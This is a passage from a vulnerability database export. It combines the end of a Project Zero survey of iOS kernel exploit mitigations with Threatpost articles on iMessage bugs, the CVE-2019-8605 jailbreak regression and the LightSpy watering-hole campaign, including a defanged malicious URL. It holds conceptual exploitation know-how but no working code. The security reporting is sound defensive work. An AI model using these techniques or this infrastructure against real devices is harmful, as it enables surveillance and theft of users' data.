leak was fixed in iOS 13, but the change also reintroduced the old (vulnerable) behavior. This is a regression, not a variant: the original LightSpeed POC does trigger on iOS 13.\n\n \nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [unc0ver-v5.0.0.ipa](<https://github.com/pwn20wndstuff/Undecimus/releases/tag/v5.0.0>).\n\n# iOS kernel exploit mitigations\n\nNext we will look at some current iOS kernel exploit mitigations. This list is not exhaustive, but it briefly summarizes some of the mitigations that exploit developers may encounter up through iOS 13.\n\n## Kernel Stack Canaries - iOS 6\n\niOS 6 introduced kernel stack canaries (or stack cookies) to protect against stack buffer overflows in the kernel.\n\n \nNone of the exploits in this list are affected by the presence of stack canaries as they do not target stack buffer overflow vulnerabilities.\n\n## Kernel ASLR - iOS 6\n\nKernel Address Space Layout Randomization (Kernel ASLR or KASLR) is a mitigation that randomizes the base address of the kernelcache image in the kernel address space. Before Kernel ASLR was implemented, the addresses of kernel functions and objects in the kernelcache image were always located at a fixed address.\n\n** \n**\n\nBypassing or working around KASLR is a standard step of all modern iOS kernel exploits.\n\n## Kernel Heap ASLR - iOS 6\n\nSince iOS 6 the base addresses for various kernel heap regions have been randomized. This seeks to mitigate exploits that hardcode addresses at which objects will be deterministically allocated. \n\n** \n**\n\nWorking around kernel heap randomization is a standard step of modern iOS kernel exploits. Usually this involves heap spraying, in which the kernel is induced to allocate large amounts of data to influence the shape of the heap even when exact addresses are not known. Also, many vulnerabilities can be leveraged to produce an information leak, disclosing the addresses of relevant kernel objects on the heap.\n\n## W^X / DEP - iOS 6\n\niOS 6 also introduced substantial kernel address space hardening by ensuring that kernel pages are mapped either as writable or as executable, but never both (often called \"write xor execute\" or W^X). This means that page tables no longer map kernel code pages as writable, and the kernel heap and stack are no longer mapped as executable. (Ensuring that non-code data is not mapped as executable is often called Data Execution Prevention, or DEP.)\n\n** \n**\n\nModern public iOS exploits do not attempt to bypass W^X (e.g. by modifying page tables and injecting shellcode); instead, exploitation is achieved by modifying kernel data structures and performing code-reuse attacks instead. This is largely due to the presence of a stronger, hardware-enforced W^X mitigation called KTRR.\n\n## PXN - iOS 7\n\nApple's A7 processor was the first 64-bit, ARMv8-A processor in an iPhone. Previously, iOS 6 had separated the kernel and user address space so that user code and data pages were inaccessible during normal kernel execution. With the move to 64-bit, the address spaces were no longer separated. Thus, the Privileged Execute-Never (PXN) bit was set in page table entries to ensure that the kernel could not execute shellcode residing in userspace pages.\n\n** \n**\n\nSimilarly to W^X, PXN as a protection against jumping to userspace shellcode is overshadowed by the stronger protection of KTRR.\n\n## PAN - iOS 10\n\nPrivileged access-never (PAN) is an ARMv8.1-A security feature introduced with the Apple A10 processor that prevents the kernel from accessing virtual addresses that are also accessible to userspace. This is used to prevent the kernel from dereferencing attacker-supplied pointers to data structures in userspace. It is similar to the Supervisor Mode Access Prevention (SMAP) feature on some Intel processors.\n\n** \n**\n\nWhile PAN has been [bypassed](<http://siguza.github.io/PAN/>) before, modern public iOS kernel exploits usually work around PAN by spraying data into the kernel and then learning the address of the data. While the most reliable techniques involve disclosing the address of the data inserted into the kernel, techniques exist to work around PAN generically, such as spraying enough data to overwhelm the kernel map randomization and force a fixed, hardcoded address to be allocated with the controlled data. Other primitives exist for establishing shared memory mappings between userspace and the kernel, which can also be used to work around PAN.\n\n## KTRR - iOS 10\n\nKTRR (possibly Kernel Text Readonly Region, part of [Kernel Integrity Protection](<https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1>)) is a custom hardware security mitigation introduced on the Apple A10 processor (ARMv8.1-A). It is a strong form of W^X protection enforced by the MMU and the memory controller over a single span of contiguous memory covering the read-only parts of the kernelcache image and some sensitive data structures like top-level page tables and the trust cache. It has also been [referred to by Apple](<https://i.blackhat.com/USA-19/Thursday/us-19-Krstic-Behind-The-Scenes-Of-IOS-And-Mas-Security.pdf>) as Kernel Integrity Protection (KIP) v1.\n\n** \n**\n\nWhile KTRR has been publicly bypassed [twice](<https://twitter.com/qwertyoruiopz/status/974907288501747713>) [before](<https://googleprojectzero.blogspot.com/2019/10/ktrw-journey-to-build-debuggable-iphone.html>), modern public iOS kernel exploits usually work around KTRR by not manipulating KTRR-protected memory.\n\n## APRR - iOS 11\n\nAPRR (possibly standing for [Access Protection Rerouting](<https://siguza.github.io/APRR/>) or [Access Permission Restriction Register](<https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1>)) is a custom hardware feature on Apple A11 and later CPUs that indirects virtual memory access permissions (usually specified in the page table entry for the page) through a special register, allowing access permissions for large groups of pages to be changed atomically and per-core. It works by converting the bits in the PTE that typically directly specify the access permissions into an index into a special register containing the true access permissions; changing the register value swaps protections on all pages mapped with the same access permissions index. APRR is somewhat similar to the Memory Protection Keys feature available on newer Intel processors.\n\n** \n**\n\nAPRR on its own does not provide any security boundaries, but it makes it possible to segment privilege levels inside a single address space. It is heavily used by PPL to create a security boundary within the iOS kernel.\n\n## PPL - iOS 12\n\nPPL ([Page Protection Layer](<https://support.apple.com/guide/security/page-protection-layer-sec38dc659b4/1/web/1>)) is the software layer built on APRR and dependent on KTRR that aims to put a security boundary between kernel read/write/execute and direct page table access. The primary goal of PPL is to prevent an attacker from modifying user pages that have been codesigned (e.g. using kernel read/write to overwrite a userspace process's executable code). This necessarily means that PPL must also maintain total control over the page tables and prevent an attacker from mapping sensitive physical addresses, including page tables, page table metadata, and IOMMU registers.\n\n** \n**\n\nAs of May 2020, PPL has not been publicly bypassed. That said, modern iOS kernel exploits are so far unaffected by PPL.\n\n## PAC - iOS 12\n\nPointer Authentication Codes ([PAC](<https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/1/web/1>)) is an ARMv8.3-A security feature that mitigates pointer tampering by storing a cryptographic signature of the pointer value in the upper bits of the pointer. Apple introduced PAC with the A12 and significantly [hardened](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>) the implementation (compared to the ARM standard) in order to defend against attackers with kernel read/write, although for most purposes it is functionally indistinguishable. Apple's kernel uses PAC for control flow integrity (CFI), placing a security boundary between kernel read/write and kernel code execution.\n\n** \n**\n\nDespite [numerous](<https://bazad.github.io/presentations/MOSEC-2019-A-study-in-PAC.pdf>) [public](<https://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf>) [bypasses](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>) of the iOS kernel's PAC-based CFI, PAC in the kernel is still an effective exploit mitigation: it has severely restricted exploitability of many bugs and killed some exploit techniques. For example, exploits in the past have used a kernel execute primitive in order to build a kernel read/write primitive (see e.g. ziVA); that is no longer possible on A12 without bypassing PAC first. Furthermore, extensive use of PAC-protected pointers in IOKit has made it significantly harder to turn many bugs into useful primitives. Given the long history of serious security issues in IOKit, this is a substantial win.\n\n## zone_require - iOS 13\n\nzone_require is a software mitigation introduced in iOS 13 that adds checks that certain pointers are allocated from the expected zalloc zones before using them. The most common zone_require checks in the iOS kernelcache are of Mach ports; for example, every time an ipc_port is locked, the zone_require() function is called to check that the allocation containing the Mach port resides in the ipc.ports zone (and not, for example, an OSData buffer allocated with kalloc()).\n\n** \n**\n\nSince fake Mach ports are an integral part of modern techniques, zone_require has a substantial impact on exploitation. Vulnerabilities like CVE-2017-13861 (async_wake) that drop a reference on an ipc_port no longer offer a direct path to creating a fake port. While zone_require has been publicly bypassed [once](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>), the technique relied on an oversight in the implementation that is easy to correct.\n\n# Changelog\n\n2020/07/09\n\n| \n\nAn entry was added for tachy0n (unc0ver 5.0.0) - iOS 13.5. \n \n---|--- \n \n2020/06/19\n\n| \n\nThe entry on MachSwap was replaced with machswap2, since the latter works on PAN-enabled devices.\n\nAn entry was added for AppleAVE2Driver exploit - iOS 12.4.1.\n\nThe description for PAN was updated to clarify that it was introduced with the A10 processor, not iOS 10.\n\nThe description for PPL was updated to clarify that it primarily protects userspace processes, as the kernel's code is protected by KTRR. \n \n2020/06/11\n\n| \n\nOriginal post published.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-06-11T00:00:00", "type": "googleprojectzero", "title": "\nA survey of recent iOS kernel exploits\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7644", "CVE-2017-13861", "CVE-2017-13865", "CVE-2017-2370", "CVE-2018-4150", "CVE-2018-4241", "CVE-2018-4243", "CVE-2018-4344", "CVE-2019-6225", "CVE-2019-7287", "CVE-2019-8605", "CVE-2019-8794", "CVE-2019-8795", "CVE-2020-12388", "CVE-2020-3837"], "modified": "2020-06-11T00:00:00", "id": "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "href": "https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2020-06-10T21:53:58", "description": "Five bugs in Apple\u2019s iMessage service for the iPhone have been uncovered that require no user interaction to exploit, including one that would allow remote attackers to access content stored on iOS devices.\n\nFirst [discovered](<https://bugs.chromium.org/p/project-zero/issues/list?q=label%3AiMessage&can=1>) by Google Project Zero security researcher Natalie Silvanovich, Apple has fully patched four of the flaws as part of the 12.4 iOS update.\n\n[CVE-2019-8646](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1858>) is the bug that allows an attacker to read files off a remote device with no user interaction. An exploit could leak the SMS database, binary files like images and more. Silvanovich has made a proof-of-concept public for the flaw.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIn the bug description, the researcher explained where the issue lies: \u201cThe class _NSDataFileBackedFuture can be deserialized even if secure encoding is enabled. This class is a file-backed NSData object that loads a local file into memory when the [NSData bytes] selector is called.\u201d\n\nThis presents two problems, she added: opening up access to local files if the code deserializing the buffer ever shares it; and, it allows an NSData object to be created with a length that is different than the length of its byte array.\n\nIn the latter case, \u201cthis violates a very basic property that should always be true of NSData objects,\u201d Silvanovich explained. \u201cThis can allow out-of-bounds reads, and could also potentially lead to out-of-bounds writes, as it is now possible to create NSData objects with very large sizes that would not be possible if the buffer was backed.\u201d\n\nSince the potential for information exfiltration is significant, iOS users should take care to upgrade to the latest version as soon as possible.\n\n\u201cApple publishes less granular details about the distribution of iOS versions than Google does for Android,\u201d OneSpan senior product marketing manager Sam Bakken told Threatpost in an email interview. \u201cApple data from May 2019 reports that 85 percent of all devices use iOS 12. But, depending on what minor version of iOS 12 they are on (12.0, 12.1, 12.2, 12.3, etc.) a lot of those users will be vulnerable to this seemingly very dangerous vulnerability.\u201d\n\n## Other Bugs\n\nAs for the other issues, [CVE-2019-8647](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1873>) is a remote, interactionless use-after-free vulnerability that can crash SpringBoard, the standard application that manages the iOS home screen, with no user interaction.\n\nSilvanovich explained in the bug description that when deserializing a class with initWithCoder, subclasses can also be deserialized \u201cso long as they do not override initWithCoder and implement all methods that require a concrete implementation.\u201d\n\nWhen_PFArray, which is a subclass of NSArray, is deserialized that way, it eventually calls [_PFArray initWithObjects:count:].\n\n\u201cThis method initializes the array with the objects provided by the NSKeyedUnarchiver, but does not retain references to these objects, so when the NSKeyedUnarchiver is released, the objects in the array will also be released, even though the user of the deserialized objects could still be using them,\u201d she explained.\n\nThe third bug is [CVE-2019-8660](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1884>) \u2013 a remote, interactionless memory corruption flaw that crops up when decoding an object of class NSKnownKeysDictionary1.\n\n\u201cThis class decodes an object of type NSKnownKeysMappingStrategy1, which decodes a length member which is supposed to represent the length of the keys of the dictionary,\u201d said Silvanovich, in the bulletin. \u201cHowever, this member is decoded before the keys are decoded, so if a key is an instance of NSKnownKeysDictionary1 which also uses this instance of NSKnownKeysMappingStrategy1, the mapping strategy will be used before the length is checked.\u201d\n\nThis is a problem because the NSKnownKeysDictionary1 instance uses this length to allocate a buffer, and the length is multiplied by eight during that allocation, without an integer overflow check. The code will then attempt to copy the values array (another decoded parameter) into the buffer using the unmultiplied length.\n\nHowever, she said the issue would be fairly difficult to exploit due to the uncontrolled nature of the copies.\n\nAs for the other two, the researcher said that CVE-2019-8662 is similar to CVE-2019-8647, but access to the bug description is restricted. And, the team is withholding CVE-2019-8641 for now because Apple\u2019s initial fix did not resolve the vulnerability, according to Silvanovich.\n\nOverall, OneSpan\u2019s Bakken noted that the finds highlight the fact that the mobile environment should be treated as \u201chostile.\u201d\n\n\u201cConsider the mobile device a hostile environment and apply multiple controls and measures to keep your app safe and your users\u2019 data secure,\u201d he noted.\n\nHe added that developers should also take note.\n\n\u201cMobile app developers and publishers need to constantly remind themselves that even if they think their mobile app is completely buttoned-up in terms of security (keeping in mind that 100 percent secure is impossible anyway), vulnerabilities in the OS, or other apps or malware on a users\u2019 device can put their app and users at risk,\u201d he said.\n\n**_Google Project Zero plans to discuss its iMessage bug findings further next week at Black Hat 2019, taking place Aug. 7 and 8 in Las Vegas. Be sure to follow all Black Hat and DEF CON 27 coverage [right here at Threatpost](<https://threatpost.com/category/bh/>)._**\n", "cvss3": {}, "published": "2019-07-30T19:22:02", "type": "threatpost", "title": "Apple iMessage Flaw Allows Remote Attackers to Read iPhone Messages", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8641", "CVE-2019-8646", "CVE-2019-8647", "CVE-2019-8660", "CVE-2019-8662"], "modified": "2019-07-30T19:22:02", "id": "THREATPOST:B84F22695A74E8F253EEEB07BE113A5B", "href": "https://threatpost.com/apple-imessage-remote-attackersread-iphone-messages/146789/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-06-04T22:06:26", "description": "Apple\u2019s most recent operating system update, iOS 12.4, accidentally unpatched a fix that had been issued in a previous update \u2014 leaving devices vulnerable to code execution and privilege-escalation attacks. The flaw also allows phones to be jailbroken \u2014 and a public jailbreak has just been released to take advantage of it on phones running the latest version of iOS.\n\nThe blunder, first reported by [Motherboard](<https://www.vice.com/en_us/article/qvgp77/hacker-releases-first-public-iphone-jailbreak-in-years>), means that Apple devices that are fully updated to the most recent iOS version are open to a vulnerability that had previously been [patched in May](<https://threatpost.com/apple-patches-intel-side-channel-ios-macos/144743/>) as part of the iOS 12.3 update.\n\nThe flaw, ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges in iOS devices, including the iPhone 5s and later, iPad Air and later, and the iPod touch sixth generation.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe bug was initially discovered by Google Project Zero research Ned Williamson, who after the initial patch published an [exploit for iOS 12.2](<https://twitter.com/nedwilliamson/status/1149376365495373824?lang=en>), dubbed \u201cSockPuppet,\u201d that utilized the vulnerability to \u201cachieve the kernel_task port on iOS 12.2 on [the]iPhone 6S+.\u201d\n\nWhile Williamson\u2019s exploit offered the ability to jailbreak in iOS 12.2, on Aug. 18 a hacker under the alias \u201cPwn20wnd\u201d [on Github](<https://github.com/pwn20wndstuff/Undecimus/releases>) released various fine-tuned jailbreaks for the latest version of iOS, based on SockPuppet.\n\nAfter its release, iPhone users [flocked to Twitter](<https://twitter.com/search?q=iPhone%20jailbreak&src=typed_query>) to show their successful attempts at jailbreaking their own phones \u2014 a method to escape Apple\u2019s limitations on what apps and code can run on the iPhone. It\u2019s useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem.\n\n\u201cYou will have to upgrade to iOS 12.4 if you are on iOS 12.3 to use the latest jailbreak \u2013 Enjoy,\u201d said Pwn20wnd on Twitter.\n\n> Security researchers: Are you waiting for Apple's research iPhone program? You can save a lot of time by picking one up at an Apple Store right now and running the [#unc0ver](<https://twitter.com/hashtag/unc0ver?src=hash&ref_src=twsrc%5Etfw>) [#jailbreak](<https://twitter.com/hashtag/jailbreak?src=hash&ref_src=twsrc%5Etfw>) on it.\n> \n> \u2014 Pwn20wnd is reviving 0-Days (@Pwn20wnd) [August 19, 2019](<https://twitter.com/Pwn20wnd/status/1163545842642386944?ref_src=twsrc%5Etfw>)\n\nPublic iOS jailbreaks are not common, especially for up-to-date phones \u2013 in fact, this is the first public jailbreak released in years that addresses fully updated phones.\n\nMalicious attacks on jailbroken phones allow privilege escalation and full hacks of Apple devices; and because this vulnerability could be exploited via a malicious app to jailbreak phones, security researchers like Stefan Esser are warning iPhone users with the most up-to-date patch to be extra cautious of any apps that they download \u2013 even those from the official App Store.\n\n> I hope people are aware that with a public jailbreak being available for the latest iOS 12.4 people must be very careful what Apps they download from the Apple AppStore. Any such app could have a copy of the jailbreak in it.\n> \n> \u2014 Stefan Esser (@i0n1c) [August 19, 2019](<https://twitter.com/i0n1c/status/1163400360020598784?ref_src=twsrc%5Etfw>)\n\nBlake Collins, research analyst at SiteLock said in an email that the jailbreak makes phones an easier target for malware and spyware.\n\n\u201cIn this instance with iOS 12.4, there was an internal misstep where important code was removed,\u201d Blake Collins, research analyst at SiteLock, said in an email. \u201cWith this update, phones can be jailbroken again and are now vulnerable to spyware or worse. The implications for this are far-reaching.\u201d\n\nIn addition, the vulnerability makes the personal and private data on vulnerable iPhones more accessible \u201cin unforeseen ways,\u201d he said.\n\n\u201cPhotos, emails, phone numbers and possibly even banking data could be stolen if you installed an app that was able to exploit these escalated privileges,\u201d said Collins. \u201cFor those who want to have the flexibility that comes with a jailbroken phone, it\u2019s critical that you\u2019re educated on all the vulnerabilities and security issues this opens up for you.\u201d\n\nApple has not responded to a request for comment from Threatpost on the incident, or whether a patch is being released.\n\n**_Interested in more on the internet of things (IoT)? Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)**_, \u201cIoT: Implementing Security in a 5G World.\u201d Please join Threatpost senior editor Tara Seals and a panel of experts as they offer enterprises and other organizations insight about how to approach security for the next wave of IoT deployments, which will be enabled by the rollout of 5G networks worldwide. _****_[Click here to register.](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)_**\n", "cvss3": {}, "published": "2019-08-20T15:22:05", "type": "threatpost", "title": "Apple iOS Patch Blunder Opens Updated iPhones to Jailbreaks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-20T15:22:05", "id": "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C", "href": "https://threatpost.com/apple-ios-patch-blunder-iphones-jailbreaks/147519/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-11T21:49:28", "description": "Apple has released an emergency patch fixing a kernel vulnerability \u2013 for the second time \u2013 after it was [accidentally unpatched](<https://threatpost.com/apple-ios-patch-blunder-iphones-jailbreaks/147519/>) in iOS 12.4.\n\nThe flaw ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges in up-to-date iOS devices. Worse, the flaw allows phones to be jailbroken \u2014 and a public jailbreak was released last week to take advantage of it on phones running the latest version of iOS.\n\n\u201cA malicious application may be able to execute arbitrary code with system privileges,\u201d according to Apple\u2019s [newest iOS patch](<https://support.apple.com/en-us/HT210549>), iOS 12.4.1, released on Monday. \u201cA use after free issue was addressed with improved memory management.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe release of public jailbreaks \u2014 a method to escape Apple\u2019s limitations on what apps and code can run on the iPhone \u2013 are atypical, especially for up-to-date phones. Jailbreaks are useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem \u2013 but can also expose phones to spyware and malware attacks.\n\nThe bug was initially discovered by Google Project Zero research Ned Williamson, who after the initial patch published an [exploit for iOS 12.2](<https://twitter.com/nedwilliamson/status/1149376365495373824?lang=en>), dubbed \u201cSockPuppet,\u201d that utilized the vulnerability to \u201cachieve the kernel_task port on iOS 12.2 on [the]iPhone 6S+.\u201d\n\nApple patched the vulnerability in a previous May update, but its most recent operating system update, iOS 12.4, accidentally unpatched the fix. Then, on Aug. 18 a hacker under the alias \u201cPwn20wnd\u201d [on Github](<https://github.com/pwn20wndstuff/Undecimus/releases>) released various fine-tuned jailbreaks for the latest version of iOS, based on SockPuppet.\n\n\u201cPwn20wnd,\u201d who was also credited in Apple\u2019s Monday update, on Twitter confirmed the patch.\n\n> I can confirm the exploit was patched in iOS 12.4.1 \u2013 \u2013 Stay on iOS 12.4!\n> \n> \u2014 Pwn20wnd is reviving 0-Days (@Pwn20wnd) [August 26, 2019](<https://twitter.com/Pwn20wnd/status/1166051972308324352?ref_src=twsrc%5Etfw>)\n\nApple did not respond to a request for comment from Threatpost.\n\nThe phone giant also released updates for [macOS Mojave and tvOS](<https://support.apple.com/en-us/HT201222>) addressing the kernel vulnerability.\n\n**_Interested in more on the internet of things (IoT)? Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)**_, \u201cIoT: Implementing Security in a 5G World.\u201d Please join Threatpost senior editor Tara Seals and a panel of experts as they offer enterprises and other organizations insight about how to approach security for the next wave of IoT deployments, which will be enabled by the rollout of 5G networks worldwide. _****_[Click here to register.](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)_**\n", "cvss3": {}, "published": "2019-08-26T19:32:17", "type": "threatpost", "title": "Apple Fixes iOS Flaw That Opened iPhones to Jailbreaks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T19:32:17", "id": "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "href": "https://threatpost.com/apple-fixes-ios-flaw-that-opened-iphones-to-jailbreaks/147717/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-03T21:41:32", "description": "A recently discovered, mass-targeted watering-hole campaign has been aiming at Apple iPhone users in Hong Kong \u2013 infecting website visitors with a newly developed custom surveillance malware. The bad code \u2013 the work of a new APT called \u201cTwoSail Junk\u201d \u2013 is delivered via a multistage exploit chain that targets iOS vulnerabilities in versions 12.1 and 12.2 of Apple\u2019s operating system, according to researchers.\n\nWatering-hole campaigns make use of malicious websites that lure visitors in with targeted content \u2013 cyberattackers often post links to that content on discussion boards and on social media to cast a wide net. When visitors click through to a malicious website, background code will then infect them with malware.\n\nIn this case, the campaign uses links posted on multiple forums that purport to lead to various news stories that would be of interest to Hong Kong residents, according to a pair of research notes from [Kaspersky](<https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/>) and [Trend Micro](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>). The links lead to both newly created websites set up specifically for this campaign by the operators, as well as legitimate sites that have been compromised. In both cases, a hidden iframe is used to load and execute malicious code.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThat code contains exploits for known and patched Apple iOS vulnerabilities \u2013 and has an endgame of installing a custom, proprietary backdoor spyware, dubbed LightRiver by Kaspersky and lightSpy by Trend Micro.\n\nThe backdoor not only allows remote execution of shell commands, but it also contains a variety of espionage modules (researchers\u2019 names for the backdoor both come from the malware\u2019s module manager, which is called \u201clight\u201d).\n\nThe modules include functions for exfiltrating contacts, GPS location data, call records, logs of recent Wi-Fi hotspots that the phone has connected to, browser histories, SMS messages, and even the iOS keychain with stored passwords for apps and websites. It also gathers hardware fingerprinting information and data about the user\u2019s local Wi-Fi network and local network IP address.\n\nAnd, it targets messenger applications, like Telegram, QQ and WeChat, to lift correspondence from the victims.\n\nDespite the deep level of surveillance afforded by the malware, researchers said that the campaign doesn\u2019t appear to be a targeted effort, apart from focusing on Hong Kong residents (50 percent of whom use iPhones).\n\n\u201cThis aims to compromise as many mobile devices as possible for device-backdooring and surveillance,\u201d according to Trend Micro.\n\n\u201cBoth ours and previous reporting from others have documented TwoSail Junk\u2019s less precise and broad use of forum posts and replies,\u201d Kaspersky researchers, who identified the threat actor as the TwoSail Junk APT, noted. However, researchers noted that there could be a dissident aspect of the campaign: \u201cThese forum posts direct individuals frequenting these sites to pages hosting iFrames served from their exploit servers. We add Telegram channels and Instagram posts to the list of communication channels abused by these attackers. These sites and communication mediums are known to be frequented by some activist groups.\u201d\n\n**Timeline**\n\nThe attacks were first identified on January 10 by Kaspersky, and began in earnest, via a massive distribution campaign, on February 18. The attacks have continued into March: Trend Micro last week spotted related forum posts that pretended to link to a schedule for protests in Hong Kong.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/26135259/lightspy-deployment.png>)\n\nSource: Kaspersky\n\nKaspersky meanwhile has observed the APT tinkering with the code on an ongoing basis, modifying some exploit chain components on both February 7 and on March 3 and extending the number of supported devices. Now, the exploits used targets a variety of iPhone models, from the iPhone 6S up to the iPhone X.\n\n\u201cThe actor was actively changing implant components,\u201d according to the Kaspersky analysis, which noted that the first observed version of one of the exploits resembled a proof of concept (PoC). \u201cBased on our observations of these changes over a relatively short time frame, we can assess that the actor implemented a fairly agile development process, with time seemingly more important than stealthiness or quality.\u201d\n\n**The Watering Holes**\n\nSome of the URLs used in the campaign lead to a malicious website created by the attacker. Kaspersky noted that the initial watering hole site (hxxps://appledaily.googlephoto[.]vip/news[.]html) seen in January was designed to mimic a well-known Hong Kong-based newspaper called Apple Daily. This was done by simply copying HTML content from the original, researchers said.\n\nThe site in turn contained three iframes that pointed to different sites, according to the analyses.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/26135450/lightspy-landing-page.png>)\n\nWatering-hole landing page (click to enlarge). Source: Kaspersky.\n\n\u201cStarting on February 18, the actors began utilizing a series of invisible iframes to redirect potential victims to the exploit site as well as the intended legitimate news site from the lure,\u201d Kaspersky researchers wrote.\n\nTrend Micro added: \u201cThe only visible iframe leads to a legitimate news site, which makes people believe they are visiting the said site. One invisible iframe was used for website analytics; the other led to a site hosting the main script of the iOS exploits.\u201d\n\nLinks to these malicious sites were posted on four different forums, in posts that include the headline of a given news story, accompanying images and a link to the fake news site.\n\n\u201cThe topics used as lures were either sex-related, clickbait-type headlines or news related to the COVID-19 disease,\u201d wrote researchers at Trend Micro. \u201cWe do not believe that these topics were targeted at any users specifically; instead they targeted the users of the sites as a whole.\u201d\n\nIn other cases, a legitimate site was copied and injected with a malicious iframe.\n\n\u201cThere are many techniques that attackers can use to compromise websites \u2013 SQL injection, cross-site scripting (XSS) and social engineering techniques are the most commonly used,\u201d Trend Micro researcher William Gamazo Sanchez told Threatpost. \u201cHowever, for this particular attack we did not focus on techniques they used against the websites. We have reasons to believe they would employ several techniques, though.\u201d\n\n**The Exploit Chain**\n\nOnce a visitor hits the malicious watering-hole site, the full exploit chain involves a silently patched Safari bug (which works on multiple recent iOS versions) and a customized kernel exploit, researchers said.\n\nThe silently patched Safari bug does not have an associated CVE, according to Trend Micro, but its exploitation leads to the exploitation of an [infamous, known kernel vulnerability](<https://threatpost.com/apple-fixes-ios-flaw-that-opened-iphones-to-jailbreaks/147717/>) used to gain root privileges.\n\nThe flaw ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges. The flaw allows phones to be jailbroken, in essence. Jailbreaks are useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem \u2013 but can also expose phones to spyware and malware attacks.\n\nWhen the kernel exploit (jailbreak) is triggered, a function called payload.dylib proceeds to download the multiple data exfiltration modules outlined before; as well as functions associated with startup and loading, and instructions for connecting to the hardcoded location of the command-and-control (C2) server.\n\nThe aforementioned \u201clight\u201d function serves as the main control for the malware, and is capable of loading and updating the other modules, according to the research.\n\n\u201c[The malware] is a custom job that is very well-designed with a modular architecture,\u201d Gamazo Sanchez told Threatpost. \u201cMore sophisticated than the average malware variant, [especially when it comes to] the level of sophistication to exfiltrate data. Most notably, the actors have clear targets in mind and designed a mechanism and distribution pattern to reach these targets based on their computing habits, to ensure they will not be noticed immediately.\u201d\n\niPhone users are protected from the malware if they have updated to the latest iOS version.\n\n**Links to Android Campaign**\n\nThe iOS effort appears to be connected to a previous, similar 2019 campaign aimed at Android users, according to researchers at both firms. In that offensive, links to malicious apps were found on various public Hong Kong-related Telegram channels.\n\nThat Android malware family was first advertised as a calendar app containing protest schedules in Hong Kong. It was disseminated via the \u201cwinuxhk\u201d and \u201cbrothersisterfacebookclub\u201d Telegram channels and Instagram posts in late November 2019, Kaspersky researchers noted.\n\nThe message lure in Chinese translated to: \u201cThe Hong Kong People Calendar APP is online ~~~ Follow the latest Hong Kong Democracy and Freedom Movement. Click to download and support the frontline. Currently only Android version is available.\u201d\n\nOnce installed, the rogue app made requests for sensitive permissions, and 